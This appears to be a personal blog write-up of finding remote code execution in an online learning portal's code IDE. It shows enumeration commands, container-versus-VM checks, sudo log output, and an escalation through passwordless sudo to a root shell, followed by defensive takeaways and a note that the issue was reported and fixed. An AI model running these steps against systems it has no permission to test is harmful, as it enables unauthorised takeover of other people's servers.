It started on a very random day.
I received a mail from some learning portal saying that I had been enrolled in a course. I didn't remember signing up, but I thought, "Cool… let's see what this is about."
So I logged into the portal and started exploring. It looked like a typical course dashboard — modules, lessons, assignments… nothing unusual.
Then something caught my eye. There was an "IDE" section. Curious me, I clicked on it.
It turned out to be a browser-based playground where users could write and run code — Java, C++, and a few other languages. Basically, an online compiler environment for practicing problems.
At first glance, it looked harmless. Just another coding sandbox. But then a thought crossed my mind:
"What if this isn't as isolated as it looks?"
So instead of solving any problem, I decided to test the environment itself. I wrote something simple:
System.out.println(System.getProperty("os.name"));Nothing fancy. Just a small check to see what kind of system was running behind the scenes.
And that's where things started getting interesting…
The output came back almost instantly.
It wasn't something generic like "Linux container" or a restricted runtime. Instead, it clearly revealed details about the underlying system.
That's when things got interesting.
I Pushed Beyond the Sandbox
If this IDE was truly sandboxed, it should strictly limit what I can execute. So I decided to go a step further and run actual system commands using Java.
I modified my code to execute commands like:
runCommand("whoami");
runCommand("id");
runCommand("uname -a");And the results?
azureuser
2. Groups included: sudo, adm, lxd
3. Kernel: Ubuntu on Azure
That was the first red flag. Why would a "sandboxed IDE" expose real system users and groups?
Was This Really a Container?
At this point, I had two possibilities:
- It's a properly isolated container
- It's something much worse
So I started verifying.
Check 1: PID 1 Process
ps aux | grep " 1 "Output showed:
/sbin/initThis was critical. In containers, PID 1 is usually:
bash, pythonor the application itself
But /sbin/init = systemd, which runs only on full systems.
Check 2: cgroup Analysis
cat /proc/1/cgroupOutput:
0::/init.scopeIf this were a container, I would expect:
docker/...kubepods/...
But there was nothing.
Check 3: Kernel Processes
Running:
ps auxRevealed processes like:
[kthreadd][kworker][rcu_sched]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 166184 10968 ? Ss 01:29 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 01:29 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 01:29 0:00 [pool_workqueue_release]
root 4 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-rcu_g]
root 5 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-rcu_p]
root 6 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-slub_]
root 7 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-netns]
root 9 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/0:0H-events_highpri]
root 12 0.0 0.0 0 0 ? I< 01:29 0:00 [kworker/R-mm_pe]
root 13 0.0 0.0 0 0 ? I 01:29 0:00 [rcu_tasks_rude_kthread]
root 14 0.0 0.0 0 0 ? I 01:29 0:00 [rcu_tasks_trace_kthread]
root 15 0.0 0.0 0 0 ? S 01:29 0:01 [ksoftirqd/0]
root 16 0.0 0.0 0 0 ? I 01:29 0:20 [rcu_sched]
root 17 0.0 0.0 0 0 ? S 01:29 0:00 [migration/0]
root 18 0.0 0.0 0 0 ? S 01:29 0:00 [idle_inject/0]These are kernel-level threads.
Containers don't expose the full kernel process tree.
Check 4: Docker Artifacts
mount | grep dockerNo output. No overlay filesystem. No container traces.
Check 5: Cloud Indicators
uname -a
hostnameOutput clearly pointed to:
- Azure kernel
- Hostname:
java-test-102
Final Realization
At this point, I understood this thing :
This was NOT a container. This was a full Azure Virtual Machine. And I had code execution on it.
Now Looking for Privileges
Now the question changed from:
"Can I execute code?" to: "How far can I go?" (hahahahaha i was too happy cause this was my first RCE)
I checked logs using:
journalctl | grep -i sudo
Nov 02 15:12:05 java-test sudo[855296]: pam_unix(sudo:session): session closed for user [REDACTED]
Nov 02 15:12:05 java-test sudo[856378]: azureuser : PWD=/home/azureuser/python ; USER=root ; COMMAND=/usr/bin/chown [REDACTED]:user_[REDACTED] /home/azureuser/compilations/[REDACTED]/run.sh
Nov 02 15:12:05 java-test sudo[856378]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
Nov 02 15:12:05 java-test sudo[856367]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
Nov 02 15:12:05 java-test sudo[856370]: azureuser : PWD=/home/azureuser/python ; USER=root ; COMMAND=/usr/bin/chown -R [REDACTED]:azureuser /home/azureuser/compilations/[REDACTED]
Nov 02 15:12:05 java-test sudo[856378]: pam_unix(sudo:session): session closed for user root
Nov 02 15:12:05 java-test sudo[856370]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
Nov 02 15:12:05 java-test sudo[856370]: pam_unix(sudo:session): session closed for user rootAnd saw something very interesting.
There were multiple entries where the same user (azureuser) had executed commands as root:
systemctl reload nginxcertbot- service management commands
This meant one thing:
Sudo was being used successfully on this system.
Now The Critical Misconfiguration
So I ran the obvious command:
sudo -lAnd the result was:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALLThis Means
- Any command can be executed as root
- No password required
- No restrictions
This is essentially full system compromise with a single command.
Step 5: Root Access
I ran:
sudo idOutput:
uid=0(root) gid=0(root)And then:
sudo /bin/bashI had a root shell.
What started as a random course enrollment turned into full control over an entire virtual machine.Sometimes, the biggest vulnerability is not the code, but the assumption.
Key Takeaways
- Never assume a sandbox is actually sandboxed.
- Simple enumeration can completely change the attack surface.
- Misconfigured sudo leads to instant root access.
- Logs can reveal hidden privilege paths.
Impact
What can i say other than just RCE. lol,
I reported the case and this have been fixed.